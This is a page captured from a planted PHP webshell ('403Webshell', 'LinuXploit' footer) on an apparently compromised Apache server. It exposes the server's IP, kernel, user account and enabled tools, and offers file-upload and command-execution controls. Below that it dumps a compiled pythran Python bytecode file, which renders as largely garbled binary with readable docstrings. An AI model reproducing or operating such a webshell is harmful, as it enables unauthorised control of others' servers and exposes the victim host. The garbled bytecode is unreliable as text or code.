403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/__pycache__/passmanager.cpython-311.pyc
�

cR�a���H�dZddlZddlZddlZddlmZd�ZGd�de��ZGd�de��Z	Gd	�d
e	ej
��ZGd�de��ZGd
�de��Z
Gd�de��ZGd�de��ZGd�de	ej��ZGd�de��ZdS)ao
This module provides classes and functions for pass management.

There are two kinds of passes: transformations and analysis.
    * ModuleAnalysis, FunctionAnalysis and NodeAnalysis are to be
      subclassed by any pass that collects information about the AST.
    * gather is used to gather (!) the result of an analyses on an AST node.
    * Backend is to be sub-classed by any pass that dumps the AST content.
    * dump is used to dump (!) the AST using the given backend.
    * Transformation is to be sub-classed by any pass that updates the AST.
    * apply is used to apply (sic) a transformation on an AST node.
�N)�timec�~�tjdd|��}tjdd|�����S)z<Transform CamelCase naming convention into C-ish convention.z(.)([A-Z][a-z]+)z\1_\2z([a-z0-9])([A-Z]))�re�sub�lower)�name�s1s  �5/usr/lib/python3/dist-packages/pythran/passmanager.py�uncamelrs7��	��"�H�d�	3�	3�B�
�6�%�x��4�4�:�:�<�<�<�c��eZdZdZd�ZdS)�AnalysisContextz{
    Class that stores the hierarchy of node visited.

    Contains:
        * parent module
        * parent function
    c�"�d|_d|_dS�N)�module�function)�selfs r
�__init__zAnalysisContext.__init__$s�������
�
�
rN)�__name__�
__module__�__qualname__�__doc__r�rr
rrs-������������rrc�L��eZdZdZ�fd�Zd
d�Zd�Z�fd�Zd�Zd�Z	d	�Z
�xZS)�ContextManagerz�
    Class to be inherited from to add automatic update of context.

    The optional analysis dependencies are listed in `dependencies'.
    c���||_|���tt|�����dS)z3 Create default context and save all dependencies. N)�deps�verify_dependencies�superrr)r�dependencies�	__class__s  �r
rzContextManager.__init__1s>��� ��	�� � �"�"�"�
�n�d�#�#�,�,�.�.�.�.�.rNc�>�||_|p
t��|_dSr)�passmanagerr�ctx)r�pmr$s   r
�attachzContextManager.attach7s ������+�/�+�+����rc���tdt|j����D]R}t|j|t��r0t|j|dz
t
��r
Jd|z����SdS)z�
        Checks no analysis are called before a transformation,
        as the transformation could invalidate the analysis.
        �zinvalid dep order for %sN)�range�lenr�
isinstance�Transformation�Analysis)r�is  r
rz"ContextManager.verify_dependencies;s����q�#�d�i�.�.�)�)�	8�	8�A�"�4�9�Q�<��@�@�
8��d�i��A��.��9�9�
8�
8�0�4�7�
8�
8�
8��	8�	8rc�L��t|tj��rb||j_|jD]N}t
|t��r7|jj	||f}t|t|j��|���Ott|���|��Sr)r+�ast�FunctionDefr$rr�
issubclass�FunctionAnalysisr#�_cache�setattrrrrr�visit)r�node�D�resultr!s    �r
r6zContextManager.visitFs�����d�C�O�,�,�	?� $�D�H���Y�
?�
?���a�!1�2�2�?�"�-�4�T�1�W�=�F��D�'�!�*�"5�"5�v�>�>�>���^�T�*�*�0�0��6�6�6rc�x�t|tj��r
||j_n&t|tj��r||j_|jD]d}|��}|�|j	|j��|�
|��}t|t|j
��|���edS)z0Gather analysis result required by this analysisN)r+r0�Moduler$rr1rrr&r#�runr5rr)rr7r8�dr9s     r
�preparezContextManager.prepareQs����d�C�J�'�'�	%�"�D�H�O�O�
��c�o�
.�
.�	%� $�D�H����	7�	7�A�����A�
�H�H�T�%�t�x�0�0�0��U�U�4�[�[�F��D�'�!�*�-�-�v�6�6�6�6�		7�	7rc�V�|�|��|�|��S)z=Override this to add special pre or post processing handlers.)r>r6�rr7s  r
r<zContextManager.run^s&�����T�����z�z�$���rc��|��}|�|j|j��|�|��Sr)r&r#r$r<)r�analysisr7�as    r
�gatherzContextManager.gathercs6���H�J�J��	����!�4�8�,�,�,��u�u�T�{�{�rr)rrrrrr&rr6r>r<rD�
__classcell__�r!s@r
rr)s����������/�/�/�/�/�,�,�,�,�	8�	8�	8�	7�	7�	7�	7�	7�7�7�7� � � �
������rrc�4��eZdZdZd�Z�fd�Zd�Zd�Z�xZS)r-zT
    A pass that does not change its content but gathers informations about it.
    c�l�t|d��s
Jd���d|_tj|g|�R�dS)z�`dependencies' holds the type of all analysis required by this
            analysis. `self.result' must be set prior to calling this
            constructor.r9z9An analysis must have a result attribute when initializedFN)�hasattr�updaterr)rr s  r
rzAnalysis.__init__msX���t�X�&�&�	I�	I�G�	I�	I�	I�������4�|�4�4�4�4�4�4rc���|t|��f}||jjvr|jj||_n<t	t
|���|��|j|jj|<|jSr)�typer#r4r9rr-r<)rr7�keyr!s   �r
r<zAnalysis.runvsp����D��J�J����$�"�)�)�)��*�1�#�6�D�K�K��(�D�!�!�%�%�d�+�+�+�+/�;�D��#�C�(��{�rc�$�t|��dSr)�print)r�datas  r
�displayzAnalysis.displays��
�d�����rc�Z�|�|�|����d|fS)NF)rQr<r@s  r
�applyzAnalysis.apply�s(�����T�X�X�d�^�^�$�$�$��d�{�r)	rrrrrr<rQrSrErFs@r
r-r-iso���������5�5�5���������������rr-c�"��eZdZdZ�fd�Z�xZS)�ModuleAnalysisz,An analysis that operates on a whole module.c� ��t|tj��sL|jj�4td�t|��j�����|jj}tt|���|��S�Nz%{} called in an uninitialized context)r+r0r;r$r�
ValueError�formatrLrrrUr<)rr7r!s  �r
r<zModuleAnalysis.run�ss����$��
�+�+�	#��x��&� �!H�"(�&��d���)<�"=�"=�?�?�?��8�?�D��^�T�*�*�.�.�t�4�4�4r�rrrrr<rErFs@r
rUrU�s>�������6�6�5�5�5�5�5�5�5�5�5rrUc�"��eZdZdZ�fd�Z�xZS)r3z(An analysis that operates on a function.c���t|tj��r`||j_d}|jD]?}t|tj��r#|�t|��|��}�@|�|j	n|St|tj��sL|jj
�4td�t|��j
�����|jj
}tt|���|��SrW)r+r0r;r$r�bodyr1rDrLr9rrXrYrrr3r<)rr7�last�stmtr!s    �r
r<zFunctionAnalysis.run�s�����d�C�J�'�'�	%�"�D�H�O��D��	�
9�
9���d�C�O�4�4�9��;�;�t�D�z�z�4�8�8�D��"&�,�4�;�;�D�8��D�#�/�2�2�	%��x� �(� �!H�"(�&��d���)<�"=�"=�?�?�?��8�$�D��%�t�,�,�0�0��6�6�6rrZrFs@r
r3r3�s>�������2�2�7�7�7�7�7�7�7�7�7rr3c��eZdZdZdS)�NodeAnalysisz&An analysis that operates on any node.N�rrrrrrr
rara��������0�0�0�0rrac��eZdZdZdS)�Backendz&A pass that produces code from an AST.Nrbrrr
rere�rcrrec�2��eZdZdZ�fd�Z�fd�Zd�Z�xZS)r,z A pass that updates its content.c�V��tt|��j|i|��d|_dS)z8 Initialize the update used to know if update happened. FN)rr,rrJ)r�args�kwargsr!s   �r
rzTransformation.__init__�s0���,��n�d�#�#�,�d�=�f�=�=�=�����rc����tt|���|��}|jr2t	j|��|jj���|S)zA Apply transformation and dependencies and fix new node location.)	rr,r<rJr0�fix_missing_locationsr#r4�clear)rr7�nr!s   �r
r<zTransformation.run�sZ����.�$�'�'�+�+�D�1�1��
�;�	,��%�a�(�(�(���#�)�)�+�+�+��rc�>�|�|��}|j|fS)z8 Apply transformation and return if an update happened. )r<rJ)rr7�new_nodes   r
rSzTransformation.apply�s���8�8�D�>�>���{�H�$�$r)rrrrrr<rSrErFs@r
r,r,�sf�������*�*������

�
�
�
�
�%�%�%�%�%�%�%rr,c�0�eZdZdZdd�Zdd�Zd�Zdd�ZdS)�PassManagerz/
    Front end to the pythran pass system.
    Nc�V�||_|ptj��|_i|_dSr)�module_name�os�getcwd�
module_dirr4)rrsrvs   r
rzPassManager.__init__�s'��&���$�3��	���������rc��t��}t|t��sJ�|��}|�|��|�|��}|�+|�|d��t��z|z
||<|S)z5High-level function to call an `analysis' on a `node'Nr)rr2r-r&r<�get)rrBr7�	run_times�t0rC�rets       r
rDzPassManager.gather�s~��
�V�V���(�H�-�-�-�-�-��H�J�J��	��������e�e�D�k�k��� �	�
�
�h�q�8Q�8Q�TX�TZ�TZ�8Z�[]�8]�)�H�"5��
rc��t|t��sJ�|��}|�|��|�|��S)zfHigh-level function to call a `backend' on a `node' to generate
        code for module `module_name'.)r2rer&r<)r�backendr7�bs    r
�dumpzPassManager.dump�sD���'�7�+�+�+�+�+��G�I�I��	��������u�u�T�{�{�rc� �t��}t|ttf��sJ�|��}|�|��|�|��}|�+|�|d��t��z|z
||<|S)z�
        High-level function to call a `transformation' on a `node'.
        If the transformation is an analysis, the result of the analysis
        is displayed.
        Nr)rr2r,r-r&rSrx)r�transformationr7ryrzrCr{s       r
rSzPassManager.apply�s����V�V���.�>�8�*D�E�E�E�E�E��N����	�������
�G�G�D�M�M��� �i�m�m�N�[\�>]�>]�`d�`f�`f�>f�gi�>i�)�N�";��
rr)rrrrrrDrrSrrr
rqrq�si������������
	�	�	�	���������rrq)r�gastr0rtrrr�objectrr�NodeVisitorr-rUr3rare�NodeTransformerr,rqrrr
�<module>r�s���������	�	�	�	�	�	�	�	�������=�=�=������f����=�=�=�=�=�V�=�=�=�@�����~�s�����<	5�	5�	5�	5�	5�X�	5�	5�	5�7�7�7�7�7�x�7�7�7�*1�1�1�1�1�8�1�1�1�
1�1�1�1�1�n�1�1�1�
%�%�%�%�%�^�S�%8�%�%�%�6(�(�(�(�(�&�(�(�(�(�(r

Youez - 2016 - github.com/yon3zu
LinuXploit